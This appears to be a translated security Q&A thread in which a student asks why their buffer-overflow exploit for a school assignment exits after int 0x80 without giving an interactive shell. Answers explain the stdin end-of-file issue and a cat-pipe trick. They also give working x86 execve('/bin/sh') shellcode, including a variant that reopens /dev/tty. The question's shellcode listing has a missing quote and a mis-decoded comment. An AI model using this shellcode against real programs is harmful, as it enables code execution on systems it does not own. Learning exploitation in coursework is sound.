Programma in esecuzione dopo l'esecuzione dell'istruzione 0x80 int durante l'esecuzione di shellcode

3

A scuola mi è stato assegnato un compito per eseguire un buffer overflow, che eseguiva alcuni shellcode e apriva una nuova shell. Dopo un po 'di giocherellando, l'overflow del buffer è riuscito, e quando ho eseguito l'exploit in GDB dice che il programma sta eseguendo / bin / dash, e quindi il programma che stavo sfruttando è uscito normalmente, lasciandomi senza shell.

Quando si esegue il programma di test per l'exploit, funziona perfettamente e mi fornisce una shell come dovrebbe. Quando provo a usare lo shellcode per sfruttare effettivamente un altro programma, funziona senza problemi, ma non genera neanche una nuova shell. Ho provato a modificare lo shellcode in modo che esegua i file che ho compilato da solo, anche se ho provato solo con alcuni semplici che stampano il nome host, e questo funziona bene. Se ho aggiunto system("/bin/sh"); a tale file, non genera ancora una shell come vorrei.

Quando passo allo shellcode con GDB, vedo che il programma vulnerabile che sto sfruttando esce subito dopo aver eseguito l'istruzione int 0x80 . La mia domanda qui è duplice: perché esce qui e cosa posso fare per evitarlo, creando così una nuova shell che posso usare?

Ecco lo shellcode che utilizzo:

"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80 
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4

Lo shellcode che utilizzo può essere trovato qui , quindi il merito va a ipv.

    
posta Psyberion 28.11.2014 - 17:01
fonte

3 risposte

6

Se stai eseguendo questo dalla riga di comando e stai utilizzando il < per alimentare lo shellcode da un file, la shell terminerà immediatamente quando raggiunge la fine dell'input. Se desideri che rimanga interattivo con la tastiera, procedi nel seguente modo:

cat shellcode.hex - | ./vulnerable_program

Il - è stdin (input da tastiera in questo caso), quindi puoi digitare come desideri dopo.

    
risposta data 14.04.2016 - 21:11
fonte
1

Poiché / bin / sh è in realtà un altro processo, gdb non è in grado di eseguire il debug del processo ramificato. Ma non sembra che tu abbia effettivamente bisogno di eseguire il debug / bin / sh dato che stai usando lo shellcode. In realtà vedendo che il tuo exploit può far avviare un altro processo dovrebbe indicare che il tuo exploit ha avuto successo. Puoi anche controllare questo post: link

    
risposta data 04.12.2014 - 16:26
fonte
1

Usa lo shellcode che riapre gli input. Ad esempio, questa versione modificata a 58 byte del codice di Marco Ivaldi fa questo trucco:

"\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

È possibile trovare ulteriori informazioni qui .

    
risposta data 30.03.2017 - 07:54
fonte

Leggi altre domande sui tag